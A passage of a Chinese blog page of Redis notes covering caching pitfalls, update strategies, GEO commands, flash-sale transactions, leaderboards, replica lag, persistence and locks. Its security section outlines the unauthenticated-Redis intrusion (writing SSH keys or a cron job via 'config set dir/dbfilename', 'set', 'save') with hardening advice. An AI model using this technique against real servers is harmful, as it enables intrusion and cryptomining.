承受了没有必要的查询流量，意思就是查到空值的时候没有做缓存处理，再次查询的时候继续读库了</span><br><span class="line">缓存击穿：热点 Key，大量并发读请求引起的小雪崩， 就是缓存在某个时间点过期的时候，恰好在这个时间点对这个 Key 有大量的并发请求过来，这些请求发现缓存过期一般都会从后端 DB 加载数据并回设到缓存，这个时候大并发的请求可能会瞬间把后端 DB 压垮</span><br><span class="line">缓存雪崩：缓存设置同一过期时间，引发的大量的读取数据库操作</span><br><span class="line">https:<span class="comment">//www.jianshu.com/p/fef1c22d63cb</span></span><br><span class="line"></span><br><span class="line">（<span class="number">1</span>）缓存穿透</span><br><span class="line"></span><br><span class="line">请求去查询一条压根儿数据库中根本就不存在的数据，也就是缓存和数据库都查询不到这条数据，但是请求每次都会打到数据库上面去。</span><br><span class="line"></span><br><span class="line">解决方案：</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> 对于返回为 NULL 的依然缓存</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 制定一些规则过滤一些不可能存在的数据</span><br><span class="line"></span><br><span class="line">（<span class="number">2</span>）缓存击穿</span><br><span class="line"></span><br><span class="line">在平常高并发的系统中，大量的请求同时查询一个 key 时，此时这个 key 正好失效了，就会导致大量的请求都打到数据库上面去。这种现象我们称为缓存击穿。</span><br><span class="line"></span><br><span class="line">解决方案：</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> 加分布式锁，对于获取到这个锁的线程，查询数据库更新缓存，其他线程采取重试策略</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 采取到期自动刷新的策略，而不是到期自动淘汰</span><br><span class="line"></span><br><span class="line">（<span class="number">3</span>）缓存雪崩</span><br><span class="line"></span><br><span class="line">当某一时刻发生大规模的缓存失效的情况，比如你的缓存服务宕机了，会有大量的请求进来直接打到 DB 上面。</span><br><span class="line"></span><br><span class="line">解决方案：</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span> 增加缓存系统可用性，通过监控关注缓存的健康程度，根据业务量适当的扩容缓存。</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span> 采用多级缓存，不同级别缓存设置的超时时间不同，及时某个级别缓存都过期，也有其他级别缓存兜底。</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span> 缓存的过期时间可以取个随机值，尽量让不同 Key 的过期时间不同。</span><br><span class="line"></span><br><span class="line">六、缓存更新策略</span><br><span class="line"></span><br><span class="line">（<span class="number">1</span>）Cache Aside</span><br><span class="line"></span><br><span class="line">应用查询数据的时候先查询缓存层的数据，如果缓存中没有则到数据库中查询数据，并把数据放入缓存层。</span><br><span class="line"></span><br><span class="line">更新数据的时候先对数据库进行更新，然后通过指令使缓存层的数据失效。</span><br><span class="line"></span><br><span class="line">(<span class="number">2</span>)Read/Write Through</span><br><span class="line"></span><br><span class="line">应用要读数据和更新数据都直接访问缓存服务</span><br><span class="line"></span><br><span class="line">缓存服务同步的将数据更新到数据库</span><br><span class="line"></span><br><span class="line">(<span class="number">3</span>)Write Behind</span><br><span class="line"></span><br><span class="line">应用要读数据和更新数据都直接访问缓存服务</span><br><span class="line"></span><br><span class="line">缓存服务异步的将数据更新到数据库（通过异步任务）</span><br><span class="line">https:<span class="comment">//learnku.com/articles/29751</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis-的-LBS-尝试地理位置"><a href="#Redis-的-LBS-尝试地理位置" class="headerlink" title="Redis 的 LBS 尝试地理位置"></a>Redis 的 LBS 尝试地理位置</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.118007'</span>, <span class="string">'30.259293'</span>, <span class="string">'桃园岭'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.119445'</span>,<span class="string">'30.255082'</span>, <span class="string">'农耕科普园'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.071655'</span>,<span class="string">'30.272893'</span>, <span class="string">'西溪湿地'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.114321'</span>,<span class="string">'30.221218'</span>, <span class="string">'龙井村'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.145012'</span>,<span class="string">'30.205586'</span>, <span class="string">'白塔公园'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.112912'</span>,<span class="string">'30.224221'</span>, <span class="string">'十里琅珰'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.107264'</span>,<span class="string">'30.206997'</span>, <span class="string">'狮峰'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.117936'</span>,<span class="string">'30.227969'</span>, <span class="string">'真迹寺'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.10826'</span>,<span class="string">'30.246569'</span>, <span class="string">'灵隐寺'</span>);</span><br><span class="line">$redis-&gt;rawCommand(<span class="string">'geoadd'</span>, <span class="string">'location'</span>, <span class="string">'120.114123'</span>,<span class="string">'30.264152'</span>, <span class="string">'状元峰'</span>);</span><br><span class="line">我们获取西溪湿地和龙井村的距离</span><br><span class="line"></span><br><span class="line">$ret = $redis-&gt;rawCommand(<span class="string">'GEODIST'</span>, <span class="string">'location'</span>,<span class="string">'西溪湿地'</span>, <span class="string">'龙井村'</span>, <span class="string">'m'</span>);</span><br><span class="line">print_r($ret);  <span class="comment">//7060.0083</span></span><br><span class="line">其他命令：</span><br><span class="line"></span><br><span class="line"><span class="comment">// 返回灵隐寺,状元峰的位置</span></span><br><span class="line">$ret = $redis-&gt;rawCommand(<span class="string">'GEOPOS'</span>, <span class="string">'location'</span>,<span class="string">'灵隐寺'</span>, <span class="string">'状元峰'</span>);</span><br><span class="line">print_r($ret);</span><br><span class="line"><span class="comment">// 返回'120.114253','30.219759'坐标附近1km的地址</span></span><br><span class="line">$ret = $redis-&gt;rawCommand(<span class="string">'GEORADIUS'</span>, <span class="string">'location'</span>,<span class="string">'120.114253'</span>,<span class="string">'30.219759'</span>, <span class="number">1</span>, <span class="string">'km'</span>, <span class="string">'WITHDIST'</span>);</span><br><span class="line">print_r($ret);</span><br><span class="line">$ret = $redis-&gt;rawCommand(<span class="string">'GEOHASH'</span>, <span class="string">'location'</span>,<span class="string">'龙井村'</span>, <span class="string">'灵隐寺'</span>);</span><br><span class="line">print_r($ret);</span><br><span class="line">https:<span class="comment">//learnku.com/articles/35871</span></span><br></pre></td></tr></table></figure>
<h3 id="基于redis的秒杀"><a href="#基于redis的秒杀" class="headerlink" title="基于redis的秒杀"></a>基于redis的秒杀</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//实例化redis</span></span><br><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line"><span class="comment">//连接</span></span><br><span class="line">$redis-&gt;connect(<span class="string">'127.0.0.1'</span>, <span class="number">6379</span>);</span><br><span class="line">$key = <span class="string">'sale'</span>;</span><br><span class="line"><span class="comment">//检测是否连接成功</span></span><br><span class="line"><span class="comment">// echo "Server is running: " . $redis-&gt;ping();</span></span><br><span class="line">$redis-&gt;setnx($key, <span class="number">0</span>);</span><br><span class="line">$redis-&gt;watch($key); <span class="comment">//监测一个key的值是否被更改</span></span><br><span class="line"></span><br><span class="line">$sale_num = $redis-&gt;get($key);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($sale_num &gt; <span class="number">4</span>) &#123;</span><br><span class="line">    exit();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$redis-&gt;multi(); <span class="comment">//标记事务</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$redis-&gt;incr($key);  <span class="comment">//销量+1</span></span><br><span class="line">sleep(<span class="number">1</span>); <span class="comment">//模拟真实环境</span></span><br><span class="line">$ret = $redis-&gt;exec(); <span class="comment">// 事务块内所有命令的返回值，按命令执行的先后顺序排列。</span></span><br><span class="line"><span class="keyword">if</span> ($ret) &#123;</span><br><span class="line">    include <span class="string">'db.php'</span>;</span><br><span class="line">    $db = <span class="keyword">new</span> db([</span><br><span class="line">        <span class="string">'database_type'</span> =&gt; <span class="string">'mysql'</span>,</span><br><span class="line">        <span class="string">'database_name'</span> =&gt; <span class="string">'test'</span>,</span><br><span class="line">        <span class="string">'server'</span> =&gt; <span class="string">'www.13sai.com&amp;#39;,</span></span><br><span class="line"><span class="string">        '</span>username<span class="string">' =&gt; '</span><span class="number">13</span>sai<span class="string">',</span></span><br><span class="line"><span class="string">        '</span>password<span class="string">' =&gt; '</span>*<span class="string">',</span></span><br><span class="line"><span class="string">        '</span>charset<span class="string">' =&gt; '</span>utf8<span class="string">'</span></span><br><span class="line"><span class="string">    ]);</span></span><br><span class="line"><span class="string">    $db-&gt;update('</span>goods<span class="string">', ["stock_num[-]" =&gt; 1], ['</span>id<span class="string">' =&gt; 1]);</span></span><br><span class="line"><span class="string">&#125;</span></span><br></pre></td></tr></table></figure>
<h3 id="查看所有-key-的-value-值所占内存大小"><a href="#查看所有-key-的-value-值所占内存大小" class="headerlink" title="查看所有 key 的 value 值所占内存大小"></a>查看所有 key 的 value 值所占内存大小</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">$ pip install rdbtools python-lzf</span><br><span class="line">$ git clone https:<span class="comment">//github.com/sripathikrishnan/redis-rdb-tools</span></span><br><span class="line">$ cd redis-rdb-tools</span><br><span class="line">$ sudo python setup.py install</span><br><span class="line">$ whereis redis.conf</span><br><span class="line">redis: <span class="regexp">/etc/</span>redis.conf</span><br><span class="line">$ cat /etc/redis.conf | grep dir | grep redis</span><br><span class="line">dir /<span class="keyword">var</span>/lib/redis</span><br><span class="line">$ cat /etc/redis.conf | grep dump.rdb</span><br><span class="line">dbfilename dump.rdb</span><br><span class="line">综上，得知其路径为：/<span class="keyword">var</span>/lib/redis/dump.rdb</span><br><span class="line"></span><br><span class="line">按内存值导出 csv</span><br><span class="line"></span><br><span class="line">$ rdb -c memory /<span class="keyword">var</span>/lib/redis/dump.rdb &gt; <span class="regexp">/tmp/</span>redis.csv</span><br><span class="line">https:<span class="comment">//learnku.com/articles/33211</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis-快速上手"><a href="#Redis-快速上手" class="headerlink" title="Redis 快速上手"></a>Redis 快速上手</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">Redis 的事务处理的命令</span><br><span class="line"></span><br><span class="line">MULTI：开启一个事务；</span><br><span class="line">EXEC：事务执行，将一次性执行事务内的所有命令；</span><br><span class="line">DISCARD：取消事务；</span><br><span class="line">WATCH：监视一个或多个键，如果事务执行前某个键发生了改动，那么事务也会被打断；</span><br><span class="line">UNWATCH：取消 WATCH 命令对所有键的监视。</span><br><span class="line"></span><br><span class="line">需要说明的是 Redis 实现事务是基于 COMMAND 队列，</span><br><span class="line">如果 Redis 没有开启事务，那么任何的 COMMAND 都会立即执行并返回结果。</span><br><span class="line">如果 Redis 开启了事务，COMMAND 命令会放到队列中，并且返回排队的状态 QUEUED，</span><br><span class="line">只有调用 EXEC，才会执行 COMMAND 队列中的命令。</span><br><span class="line">玩家排行榜案例</span><br><span class="line"></span><br><span class="line">统计全部玩家的排行榜</span><br><span class="line">ZREVRANGE user_score <span class="number">0</span> <span class="number">-1</span> WITHSCORES</span><br><span class="line"></span><br><span class="line">按名次查询排名前 N 名的玩家</span><br><span class="line">统计前 <span class="number">10</span> 名玩家，可以使用：ZREVRANGE user_score <span class="number">0</span> <span class="number">9</span></span><br><span class="line"></span><br><span class="line">查询某个玩家的分数</span><br><span class="line">查询玩家 <span class="number">10001</span> 的分数可以使用：ZSCORE user_score <span class="number">10001</span></span><br><span class="line"></span><br><span class="line">查询某个玩家的排名</span><br><span class="line">查询玩家 <span class="number">10001</span> 的排名可以使用：ZREVRANK user_score <span class="number">10001</span></span><br><span class="line"></span><br><span class="line">对玩家的分数和排名进行更新</span><br><span class="line">对玩家 <span class="number">10001</span> 的分数减 <span class="number">1</span>，可以使用：ZINCRBY user_score <span class="number">-1</span> <span class="number">10001</span></span><br><span class="line"></span><br><span class="line">查询指定玩家前后 M 名的玩家</span><br><span class="line">查询玩家 <span class="number">10001</span> 前后 <span class="number">5</span> 名玩家都是谁，当前已知玩家 <span class="number">10001</span> 的排名是 <span class="number">18036</span>，</span><br><span class="line">那么可以使用：ZREVRANGE user_score <span class="number">18031</span> <span class="number">18041</span></span><br><span class="line"></span><br><span class="line">增加或移除某个玩家，并对排名进行更新</span><br><span class="line">删除玩家 <span class="number">10001</span>，可以使用：ZREM user_score <span class="number">10001</span></span><br><span class="line">查询下排名在 <span class="number">18031</span> 到 <span class="number">18041</span> 的玩家是谁，使用：ZREVRANGE user_score <span class="number">18031</span> <span class="number">18041</span></span><br><span class="line"></span><br><span class="line">把玩家 <span class="number">10001</span> 的信息再增加回来，使用：ZADD user_score <span class="number">93.1504697596</span> <span class="number">10001</span></span><br><span class="line">看下排名在 <span class="number">18031</span> 到 <span class="number">18041</span> 的玩家是谁，使用：ZREVRANGE user_score <span class="number">18031</span> <span class="number">18041</span></span><br><span class="line">https:<span class="comment">//learnku.com/articles/37066</span></span><br></pre></td></tr></table></figure>
<h3 id="redis安全"><a href="#redis安全" class="headerlink" title="redis安全"></a>redis安全</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">Redis 默认情况下，会绑定在 <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">6379</span>，在没有利用防火墙进行屏蔽的情况下，将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下利用 Redis 的相关方法，可以成功将自己的公钥写入目标服务器的 ~<span class="regexp">/.ssh 文件夹的 authotrized_keys 文件中，进而可以直接登录目标服务器；如果 Redis 服务是以 root 权限启动，可以利用该问题直接获得服务器 root 权限。</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">经过对捕获的事件进行分析，整个入侵流程大概是包含以下几个环节：</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">扫描开放 6379 端口的 Linux 服务器（后续感染扫描网段为 1.0.0.0/</span><span class="number">16</span> 到 <span class="number">224.255</span><span class="number">.0</span><span class="number">.0</span>/<span class="number">16</span> ）</span><br><span class="line">通过 redis-cli 尝试连接 Redis 并执行预置在.dat 文件里的利用命令将 Redis 的数据文件修改为 /<span class="keyword">var</span>/spool/cron/root，然后通过在 Redis 中插入数据，将下载执行脚本的动作写入 crontab 任务</span><br><span class="line">通过脚本实现以上的相关行为，完成植入并启动挖矿程序</span><br><span class="line">Redis 服务加固</span><br><span class="line"></span><br><span class="line">导致入侵的主要原因是 Redis 未授权访问问题，所以如果要扼制入侵的入口，需要针对 Redis 服务进行加固，避免黑客通过该途径进行入侵植入挖矿蠕虫。</span><br><span class="line">如无必要，修改 bind 项，不要将 Redis 绑定在 <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> 上，避免 Redis 服务开放在外网，可以通过 iptables 或者腾讯云用户可以通过安全组限制访问来源</span><br><span class="line">在不影响业务的情况，不要以 root 启动 Redis 服务，同时建议修改默认的 <span class="number">6379</span> 端口，大部分针对 Redis 未授权问题的入侵都是针对默认端口进行的</span><br><span class="line">配置 AUTH，增加密码校验，这样即使开放在公网上，如果非弱口令的情况，黑客也无法访问 Redis 服务进行相关操作</span><br><span class="line">使用 rename-command CONFIG <span class="string">"RENAME_CONFIG"</span>重命名相关命令，这样黑客即使在连接上未授权问题的 Redis 服务，在不知道命令的情况下只能获取相关数据，而无法进一步利用 https:<span class="comment">//www.v2ex.com/t/584369</span></span><br><span class="line">docker 的 -p 如果直接 <span class="number">6379</span>:<span class="number">6379</span> 是会默认绑定 <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span> 的，而且还会自动打开防火墙的这个端口，不注意很容易被坑的，必须要-p <span class="number">127.0</span><span class="number">.0</span><span class="number">.0</span>:<span class="number">6379</span>:<span class="number">6379</span> 这样用才行</span><br><span class="line">Redis 也被挖矿攻击！ https:<span class="comment">//cn.v2ex.com/t/623847#reply27  </span></span><br><span class="line"><span class="comment">// 它这个脚本保存在 value 里，怎么才能被执行到  显然 redis 公网开放，并且无认证 如果 redis 被恶意程序访问到了，那么可以利用</span></span><br><span class="line"> </span><br><span class="line">config set dir xxx</span><br><span class="line">config set dbfilename xxxx</span><br><span class="line">set xxx</span><br><span class="line">save</span><br><span class="line"> </span><br><span class="line">这几条命令在 linux 目录下创建文件。 https:<span class="comment">//p0sec.net/index.php/archives/69/</span></span><br></pre></td></tr></table></figure>
<h3 id="Redis-scard主从延时问题"><a href="#Redis-scard主从延时问题" class="headerlink" title="Redis scard主从延时问题"></a>Redis scard主从延时问题</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">setPrize</span>(<span class="params">$arrPrizes</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// 真实的奖品是由上面的参数$arrPrizes传入，数据格式如下：</span></span><br><span class="line">        <span class="comment">// $arrPrizes = array(</span></span><br><span class="line">        <span class="comment">//     array('code' =&gt; 'A0001', 'name' =&gt; 'iPhone'),</span></span><br><span class="line">        <span class="comment">//     array('code' =&gt; 'A0002', 'name' =&gt; 'iPhone'),</span></span><br><span class="line">        <span class="comment">// );</span></span><br><span class="line">        foreach ($arrPrizes <span class="keyword">as</span> $intIndex =&gt; $arrPrize) &#123;</span><br><span class="line">            $arrPrizes[$intIndex] = json_encode($arrPrize);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取Redis实例</span></span><br><span class="line">        $objRedis       = RedisUtil::getInstance();</span><br><span class="line">        $strRedisKey    = <span class="string">'www.daemoncoder.com'</span>;</span><br><span class="line">        $arrPrizePages  = array_chunk($arrPrizes, <span class="number">100</span>);</span><br><span class="line">        foreach ($arrPrizePages <span class="keyword">as</span> $arrPrizePage) &#123;</span><br><span class="line">            <span class="comment">// 分批写入redis中</span></span><br><span class="line">            $intAddResult = $objRedis-&gt;sAddArray($strRedisKey, $arrPrizePage);</span><br><span class="line">            echo sprintf(<span class="string">"AddResult: %s\n"</span>, var_export($intAddResult, <span class="literal">true</span>));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 判断写入的集合最终大小是否和传入的数组大小一致</span></span><br><span class="line">        <span class="comment">// 不一致则中间有数据没有成功写入，需要返回给上层重试或者报警</span></span><br><span class="line">        $intScardResult = $objRedis-&gt;sCard($strRedisKey);</span><br><span class="line">        echo sprintf(<span class="string">"ScardResult: %s\n"</span>, var_export($intScardResult, <span class="literal">true</span>));</span><br><span class="line">        <span class="keyword">if</span> ($intScardResult == count($arrPrizes)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception $e) &#123;</span><br><span class="line">        var_dump($e);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line">通过sAddArray()写入集合的数据，有部分还没有生效。Redis本身用单线程处理请求，理论不应该存在出现这种延时，但是线上环境的Redis往往都是主从结构的，主库到从库同步数据是会有延时的，这也是出现这个问题的真实的原因。</span><br><span class="line">上述代码中用RedisUtil::getInstance()来获取redis实例，前面也有介绍，这个是我们自己封装的Redis工具类，会根据不同的redis命令做读写分离。sAddArray()是一个写请求，会自动选择主库连接执行，而sCard()是一个读请求，默认会选择从库去执行。所以会出现用sCard()读取不到集合真实的大小，因为从库此时可能还没有同步到最新的数据。</span><br><span class="line">解决方案</span><br><span class="line"></span><br><span class="line">调整代码，强制让sCard()方法选择主库（每个人连接的Redis工具类不同，这里不再贴代码，大概的方式就是连接时指定主库的IP）。这样经过多次反复测试，没有再出现这个问题。</span><br><span class="line">https:<span class="comment">//www.daemoncoder.com/a/%E8%AE%B0%E4%B8%80%E6%AC%A1Redis%20scard%E8%AF%BB%E5%8F%96%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%9C%E4%B8%8D%E5%AF%B9%E7%9A%84%E9%97%AE%E9%A2%98/4d54673d?hmsr=toutiao.io&amp;utm_medium=toutiao.io&amp;utm_source=toutiao.io</span></span><br></pre></td></tr></table></figure>
<h3 id="redis数据持久化"><a href="#redis数据持久化" class="headerlink" title="redis数据持久化"></a>redis数据持久化</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">edis作为内存数据库，一共支持<span class="number">2</span>种数据持久化方案：RDB、AOF。这两种方案把数据存储到磁盘中，既可以同时使用，也可以单独使用，甚至都不使用，具体使用可以配置。</span><br><span class="line">把数据存储到磁盘主要是为了以后重用数据，或者防止系统出现故障而将数据备份到远程位置。</span><br><span class="line">rdb的主要原理是在某个时间点，把内存中所有的数据做一份快照，然后把快照中的数据保存在磁盘中。</span><br><span class="line">save 900 1     #900秒时间，至少有一条数据更新，则保存到数据文件中</span><br><span class="line">save 300 10    #300秒时间，至少有10条数据更新，则保存到数据文件中</span><br><span class="line">save 60 10000  #60秒时间，至少有10000条数据更新，则保存到数据文件中</span><br><span class="line">stop-writes-on-bgsave-error yes</span><br><span class="line">rdbcompression yes 指定存储至本地数据库时是否压缩数据，默认是yes，redis采用LZF压缩，如果为了节省CPU时间可以关闭该选项，但会导致数据库文件扁的巨大</span><br><span class="line">rdbchecksum yes 对rdb文件进行校验</span><br><span class="line">dbfilename <span class="string">"dump.rdb"</span></span><br><span class="line">dir <span class="string">"XXX"</span></span><br><span class="line">当redis的bgsave命令触发时：会fork一个新进程，在新进程中进行处理快照的操作，主进程依旧可以执行别的请求。</span><br><span class="line"></span><br><span class="line">aof持久化是将被执行的写命令，写到aof文件的末尾，以此来记录数据的变化。</span><br><span class="line">appendonly no   #是否开启aof。默认是关闭的</span><br><span class="line"># appendfsync always       # always：表示每次redis写操作都会同步写入磁盘，这样会严重降低redis速度。</span><br><span class="line">appendfsync everysec       # everysec：表示每秒同步一次（折衷，默认值），通过redis的时间事件</span><br><span class="line"># appendfsync no     # no：表示redis不主动同步aof数据。等操作系统进行数据缓存同步到磁盘(快)</span><br><span class="line"></span><br><span class="line">其实redis的bgrewriteaof命令跟bgsave命令非常相似。都是创建一个子进程，把当前的数据创建一份快照，由子进程进行保存，然后替代以前的aof文件（并不是追加都文件末尾）。</span><br><span class="line">比较关心数据，但是可以忍受几分钟数据的丢失，可以使用rdb；</span><br><span class="line">不建议只使用aof：因为rdb文件是恢复数据、复制数据的最好的办法；</span><br><span class="line">如果对数据要求特别高，可以同时使用两种方案；</span><br><span class="line">https:<span class="comment">//bettercuicui.github.io/2018/04/01/REDIS/redis%E6%95%B0%E6%8D%AE%E6%8C%81%E4%B9%85%E5%8C%96_RDB_AOF/</span></span><br></pre></td></tr></table></figure>
<h3 id="基于redis实现分布式锁"><a href="#基于redis实现分布式锁" class="headerlink" title="基于redis实现分布式锁"></a>基于redis实现分布式锁</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">$ret = $<span class="keyword">this</span>-&gt;getCon()-&gt;setnx($key,<span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="number">1</span> == $ret)&#123;</span><br><span class="line">    <span class="keyword">do</span> something...</span><br><span class="line">    $<span class="keyword">this</span>-&gt;getCon()-&gt;del($key);</span><br><span class="line">&#125;</span><br><span class="line">$<span class="keyword">this</span>-&gt;getCon()-&gt;multi();</span><br><span class="line">$<span class="keyword">this</span>-&gt;getCon()-&gt;setnx($key,<span class="number">1</span>);</span><br><span class="line">$<span class="keyword">this</span>-&gt;getCon()-&gt;EXPIRE($key,$time);</span><br><span class="line">$<span 